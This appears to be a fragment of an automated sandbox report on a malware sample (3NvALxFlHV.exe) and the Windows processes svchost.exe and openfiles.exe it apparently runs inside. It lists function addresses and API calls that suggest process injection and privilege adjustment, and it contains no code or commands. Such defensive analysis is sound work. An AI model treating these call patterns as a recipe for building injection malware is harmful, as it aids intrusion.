Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112AD0 NtReadFile,LdrInitializeThunk,	12_2_05112AD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112AF0 NtWriteFile,LdrInitializeThunk,	12_2_05112AF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051135C0 NtCreateMutant,LdrInitializeThunk,	12_2_051135C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051139B0 NtGetContextThread,LdrInitializeThunk,	12_2_051139B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112D00 NtSetInformationFile,	12_2_05112D00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112DB0 NtEnumerateKey,	12_2_05112DB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112C00 NtQueryInformationProcess,	12_2_05112C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112CC0 NtQueryVirtualMemory,	12_2_05112CC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112CF0 NtOpenProcess,	12_2_05112CF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112F60 NtCreateProcessEx,	12_2_05112F60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112F90 NtProtectVirtualMemory,	12_2_05112F90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112FA0 NtQuerySection,	12_2_05112FA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112E30 NtWriteVirtualMemory,	12_2_05112E30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112EA0 NtAdjustPrivilegesToken,	12_2_05112EA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112B80 NtQueryInformationFile,	12_2_05112B80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05112AB0 NtWaitForSingleObject,	12_2_05112AB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05113010 NtOpenDirectoryObject,	12_2_05113010
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05113090 NtSetValueKey,	12_2_05113090
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05113D10 NtOpenProcessToken,	12_2_05113D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05113D70 NtOpenThread,	12_2_05113D70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E8F30 NtClose,	12_2_030E8F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E8E90 NtDeleteFile,	12_2_030E8E90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E8DA0 NtReadFile,	12_2_030E8DA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E8C40 NtCreateFile,	12_2_030E8C40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E90A0 NtAllocateVirtualMemory,	12_2_030E90A0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

3_2_00434D50

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

3_2_004461ED

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

3_2_004364AA

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00412038	3_2_00412038
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00427161	3_2_00427161
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0047E1FA	3_2_0047E1FA
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004212BE	3_2_004212BE
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00443390	3_2_00443390
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00443391	3_2_00443391
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0041A46B	3_2_0041A46B
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0041240C	3_2_0041240C
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00446566	3_2_00446566
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004045E0	3_2_004045E0
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0041D750	3_2_0041D750
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004037E0	3_2_004037E0
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00427859	3_2_00427859
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00412818	3_2_00412818
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0040F890	3_2_0040F890
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0042397B	3_2_0042397B
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00409A40	3_2_00409A40
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00411B63	3_2_00411B63
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0047CBF0	3_2_0047CBF0
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044EBBC	3_2_0044EBBC
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00412C38	3_2_00412C38
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044ED9A	3_2_0044ED9A
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00423EBF	3_2_00423EBF
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00424F70	3_2_00424F70
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0041AF0D	3_2_0041AF0D
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_03E27638	3_2_03E27638
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004185E3	7_2_004185E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004100D3	7_2_004100D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040E149	7_2_0040E149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040E153	7_2_0040E153
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00401130	7_2_00401130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042EA63	7_2_0042EA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004032A0	7_2_004032A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402451	7_2_00402451
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402460	7_2_00402460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402682	7_2_00402682
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402690	7_2_00402690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00408697	7_2_00408697
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040FEAB	7_2_0040FEAB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040FEB3	7_2_0040FEB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004167D3	7_2_004167D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FA352	7_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E3F0	7_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_035003E6	7_2_035003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C02C0	7_2_034C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C8158	7_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430100	7_2_03430100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DA118	7_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F81CC	7_2_034F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F41A2	7_2_034F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_035001AA	7_2_035001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03464750	7_2_03464750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343C7C0	7_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345C6E0	7_2_0345C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03500591	7_2_03500591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F2446	7_2_034F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E4420	7_2_034E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EE4F6	7_2_034EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FAB40	7_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F6BD7	7_2_034F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03456962	7_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0350A9A6	7_2_0350A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344A840	7_2_0344A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03442840	7_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E8F0	7_2_0346E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034268B8	7_2_034268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4F40	7_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03482F28	7_2_03482F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03460F30	7_2_03460F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E2F30	7_2_034E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03432FC8	7_2_03432FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344CFE0	7_2_0344CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BEFA0	7_2_034BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440E59	7_2_03440E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FEE26	7_2_034FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FEEDB	7_2_034FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452E90	7_2_03452E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FCE93	7_2_034FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344AD00	7_2_0344AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DCD1F	7_2_034DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343ADE0	7_2_0343ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03458DBF	7_2_03458DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440C00	7_2_03440C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430CF2	7_2_03430CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0CB5	7_2_034E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342D34C	7_2_0342D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F132D	7_2_034F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0348739A	7_2_0348739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345B2C0	7_2_0345B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E12ED	7_2_034E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034452A0	7_2_034452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0347516C	7_2_0347516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342F172	7_2_0342F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0350B16B	7_2_0350B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344B1B0	7_2_0344B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EF0CC	7_2_034EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034470C0	7_2_034470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F70E9	7_2_034F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FF0E0	7_2_034FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FF7B0	7_2_034FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F16CC	7_2_034F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F7571	7_2_034F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DD5B0	7_2_034DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03431460	7_2_03431460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FF43F	7_2_034FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FFB76	7_2_034FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B5BF0	7_2_034B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0347DBF9	7_2_0347DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345FB80	7_2_0345FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FFA49	7_2_034FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F7A46	7_2_034F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B3A6C	7_2_034B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EDAC6	7_2_034EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DDAAC	7_2_034DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03485AA0	7_2_03485AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E1AA3	7_2_034E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03449950	7_2_03449950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345B950	7_2_0345B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D5910	7_2_034D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AD800	7_2_034AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034438E0	7_2_034438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FFF09	7_2_034FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03441F92	7_2_03441F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FFFB1	7_2_034FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03449EB0	7_2_03449EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03443D40	7_2_03443D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F1D5A	7_2_034F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F7D73	7_2_034F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345FDC0	7_2_0345FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B9C32	7_2_034B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FFCF2	7_2_034FFCF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E0535	12_2_050E0535
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051A0591	12_2_051A0591
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05184420	12_2_05184420
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05192446	12_2_05192446
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0518E4F6	12_2_0518E4F6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05104750	12_2_05104750
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E0770	12_2_050E0770
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050DC7C0	12_2_050DC7C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050FC6E0	12_2_050FC6E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050D0100	12_2_050D0100
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0517A118	12_2_0517A118
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05168158	12_2_05168158
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051A01AA	12_2_051A01AA
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051981CC	12_2_051981CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05172000	12_2_05172000
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519A352	12_2_0519A352
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051A03E6	12_2_051A03E6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050EE3F0	12_2_050EE3F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05180274	12_2_05180274
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051602C0	12_2_051602C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0517CD1F	12_2_0517CD1F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050EAD00	12_2_050EAD00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050F8DBF	12_2_050F8DBF
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050DADE0	12_2_050DADE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E0C00	12_2_050E0C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05180CB5	12_2_05180CB5
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050D0CF2	12_2_050D0CF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05100F30	12_2_05100F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05182F30	12_2_05182F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05122F28	12_2_05122F28
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05154F40	12_2_05154F40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0515EFA0	12_2_0515EFA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050D2FC8	12_2_050D2FC8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050ECFE0	12_2_050ECFE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519EE26	12_2_0519EE26
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E0E59	12_2_050E0E59
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519CE93	12_2_0519CE93
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050F2E90	12_2_050F2E90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519EEDB	12_2_0519EEDB
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050F6962	12_2_050F6962
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E29A0	12_2_050E29A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051AA9A6	12_2_051AA9A6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E2840	12_2_050E2840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050EA840	12_2_050EA840
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050C68B8	12_2_050C68B8
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0510E8F0	12_2_0510E8F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519AB40	12_2_0519AB40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05196BD7	12_2_05196BD7
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050DEA80	12_2_050DEA80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05197571	12_2_05197571
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0517D5B0	12_2_0517D5B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519F43F	12_2_0519F43F
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050D1460	12_2_050D1460
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519F7B0	12_2_0519F7B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051916CC	12_2_051916CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051AB16B	12_2_051AB16B
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0511516C	12_2_0511516C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050CF172	12_2_050CF172
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050EB1B0	12_2_050EB1B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E70C0	12_2_050E70C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0518F0CC	12_2_0518F0CC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051970E9	12_2_051970E9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519F0E0	12_2_0519F0E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519132D	12_2_0519132D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050CD34C	12_2_050CD34C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0512739A	12_2_0512739A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E52A0	12_2_050E52A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050FB2C0	12_2_050FB2C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_051812ED	12_2_051812ED
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05191D5A	12_2_05191D5A
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E3D40	12_2_050E3D40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05197D73	12_2_05197D73
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050FFDC0	12_2_050FFDC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05159C32	12_2_05159C32
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519FCF2	12_2_0519FCF2
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519FF09	12_2_0519FF09
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E1F92	12_2_050E1F92
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519FFB1	12_2_0519FFB1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E9EB0	12_2_050E9EB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E9950	12_2_050E9950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050FB950	12_2_050FB950
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0514D800	12_2_0514D800
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050E38E0	12_2_050E38E0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519FB76	12_2_0519FB76
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050FFB80	12_2_050FFB80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05155BF0	12_2_05155BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0511DBF9	12_2_0511DBF9
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0519FA49	12_2_0519FA49
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05197A46	12_2_05197A46
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05153A6C	12_2_05153A6C
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05125AA0	12_2_05125AA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0517DAAC	12_2_0517DAAC
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_05181AA3	12_2_05181AA3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_0518DAC6	12_2_0518DAC6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D1A50	12_2_030D1A50
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030CCBC0	12_2_030CCBC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030CC998	12_2_030CC998
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030CC9A0	12_2_030CC9A0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030CAC36	12_2_030CAC36
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030CAC40	12_2_030CAC40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D32C0	12_2_030D32C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030C5184	12_2_030C5184
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D50D0	12_2_030D50D0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030EB550	12_2_030EB550
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8E443	12_2_04E8E443
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8E5AF	12_2_04E8E5AF
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8E7DD	12_2_04E8E7DD
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8E324	12_2_04E8E324
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8D848	12_2_04E8D848
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8CAF8	12_2_04E8CAF8

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0342B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03475130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03487E54 appears 102 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 05115130 appears 50 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 0515F290 appears 105 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 05127E54 appears 102 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 050CB970 appears 279 times
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: String function: 0514EA12 appears 86 times
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: String function: 0040E6D0 appears 35 times

